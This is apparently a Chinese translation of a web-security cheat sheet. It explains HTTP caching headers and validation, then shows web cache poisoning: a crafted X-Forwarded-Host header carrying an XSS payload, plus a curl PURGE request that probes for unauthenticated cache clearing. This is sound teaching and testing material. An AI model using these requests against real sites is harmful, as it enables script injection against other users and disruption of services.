缓存是一种技术,它存储给定资源的副本,并在请求时提供该副本。当Web缓存在其存储中有一个被请求的资源时,它会拦截该请求,并返回其副本,而不是重新从原始服务器下载。
这样做可以实现几个目标:
减少服务器负载(服务器不必自己为所有客户端提供服务)。
提高性能(传输资源所需的时间更短)。
另一方面,必须进行正确的配置,因为并非所有资源都永远保持相同状态:仅在资源发生变化之前缓存资源很重要,不要超过此时间。
私人缓存专用于单个用户。浏览器缓存保存用户通过HTTP下载的所有文档。该缓存用于使访问过的文档可供回退/前进导航、保存、查看源码等操作,而无需额外向服务器发送请求。它同样改善了对缓存内容的离线浏览。
请求方法可以被定义为“可缓存”,表示允许对其响应进行存储以供将来重用。
规范RFC7231将GET、HEAD和POST定义为可缓存的,尽管绝大多数缓存实现只支持GET
和HEAD
。
主要的缓存键值:
缓存条目的常见形式包括:
检索请求的成功结果:包含HTML文档、图像或文件等资源的GET请求的200 OK响应,
永久重定向:301 Moved Permanently
响应,
错误响应:404 Not Found
结果页面,
不完整的结果:206 Partial Content
响应,
除GET之外的响应(如果定义了适用于缓存键的内容)。
变化的响应
如果请求是内容协商的目标,缓存条目还可以由多个存储的响应组成,这些响应由次要键进行区分。
Vary :
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary
Vary HTTP响应头确定如何匹配将来的请求头,以决定是否可以使用缓存的响应,而不是从原始服务器请求新的响应。
当缓存接收到一个可以由带有Vary头字段的缓存响应满足的请求时,除非在原始(缓存的)请求和新请求中的所有由Vary头提名的header fields字段都匹配,否则不能使用该缓存响应。
Vary 是服务器返回的一个字段,它将缓存的选择权交给客户端判断,但会严格判断每一个字段是否与响应严格匹配
HTTP/1.1的通用头字段Cache-Control用于在请求和响应中指定缓存机制的指令。
缓存指令是单向的,这意味着请求中的某个指令并不意味着响应中也必须给出相同的指令。
如果请求中省略了Cache-Control头字段,则HTTP/1.0中的Pragma头的行为与Cache-Control的no-cache指令相同。
仅在与HTTP/1.0客户端的向后兼容性方面使用Pragma。
不缓存
Cache-Control: no-store
缓存不应存储有关客户端请求或服务器响应的任何信息。每次都会向服务器发送请求并下载完整的响应。
缓存但重新验证
Cache-Control: no-cache
在释放缓存副本之前,缓存将向原始服务器发送请求以进行验证,参见:缓存验证部分。
公共缓存
Cache-Control: public
public指示响应可以被任何缓存缓存,即使响应通常是不可缓存的。
私有缓存
Cache-Control: private
private指示响应仅适用于单个用户,并且不得由共享缓存存储。在这种情况下,私人浏览器缓存可能会存储响应。
过期
Cache-Control: max-age=31536000
max-age指令指定资源被视为fresh的最长时间(以秒为单位)。
验证
Cache-Control: must-revalidate
must-revalidate
指示缓存在使用陈旧的资源之前必须验证其状态,并且不应使用过期的资源。
当缓存文档的过期时间已经到达时,它要么被验证,要么被重新获取。验证只能发生在服务器提供了强验证器或弱验证器的情况下。
重新验证会被触发:
ETag
ETag响应头是一个对用户代理不透明的值,可以用作强验证器。
这意味着HTTP用户代理,如浏览器,不知道这个字符串代表什么,也无法预测其值会是什么。
如果ETag头是响应资源的一部分,客户端可以在未来请求的头部中发出一个If-None-Match,以验证缓存资源。
Last-Modified响应头可以用作弱验证器。它被认为是弱验证器,因为它只有1秒的分辨率。
如果Last-Modified头在响应中存在,客户端可以发出一个If-Modified-Since请求头来验证缓存文档。
当进行验证请求时,服务器可以选择忽略验证请求并响应一个正常的200 OK,或者返回304 Not Modified(带有空体)来指示浏览器使用其缓存副本。
后者的响应还可以包括更新缓存文档的过期时间的头部。
一旦资源存储在缓存中,理论上它可以被缓存永远提供。但是,缓存有限的存储空间,因此周期性地从存储中删除项目(缓存逐出)。
由于HTTP是一种客户端-服务器协议,服务器无法在资源更改时联系缓存和客户端,它们必须通信资源的过期时间。
在此过期时间之前,资源是新鲜的;在过期时间之后,资源是过时的。
逐出算法通常优先处理新鲜资源而不是过时资源。
freshness 生存期是根据几个头部计算的:
Cache-Control: max-age=N
头部,则新鲜度生存期等于N;Last-Modified
头部,则新鲜度生存期等于Date头部的值减去Last-Modified
头部的值除以10。Web缓存投毒的目标是发送一个请求,导致一个有害的响应被保存在缓存中并提供给其他用户。
举个例子,让我们看如下请求
GET /en?cb=1 HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: foo
响应如下
HTTP/1.1 200 OK
Cache-Control: public, no-cache
...
<meta property="og:image" content="https://foo/img/bar.png" />
在这里,应用程序使用X-Forwarded-Host头部来生成一个Open Graph URL,并将其放置在一个meta标签内。
接下来的步骤是探索它是否存在利用漏洞 - 从一个简单的XSS payload开始:
GET /en?bar=1 HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: foo."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
...
<meta property="og:image" content="https://foo."><script>alert(1)</script>"/>
那个响应将对查看它的任何人执行任意的JavaScript。不要让Cache-Control: no-cache头部阻止你 - 尝试攻击总比假设它不起作用要好。
最后一步是检查这个响应是否被存储在缓存中,以便将其传递给其他用户。首先,你可以发送没有恶意头部的请求来验证这一点,然后在不同机器上的浏览器中直接获取URL来进行验证
GET /en?bar=1 HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
...
<meta property="og:image" content="https://foo."><script>alert(1)</script>"/>
推荐扫描器扫描此类漏洞:
https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
References:
缓存清除允许你删除存储的缓存。如果清除请求可以在没有身份验证的情况下使用,你可以使存储的缓存无效,增加带宽成本,并降低应用程序的性能。
你可以使用以下curl请求来检查这一点:
curl -X PURGE https://vulnerable-website.com/
如果资源存在漏洞,你将会看到如下响应:
{
"status": "ok",
"id": "4234-1234567890-123123"
}
否则,响应将包含一个错误:
{
"msg": "Credentials are missing or invalid"
}
References:
author: 0xn3va
source: https://0xn3va.gitbook.io/cheat-sheets/web-application/web-cache-poisoning
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款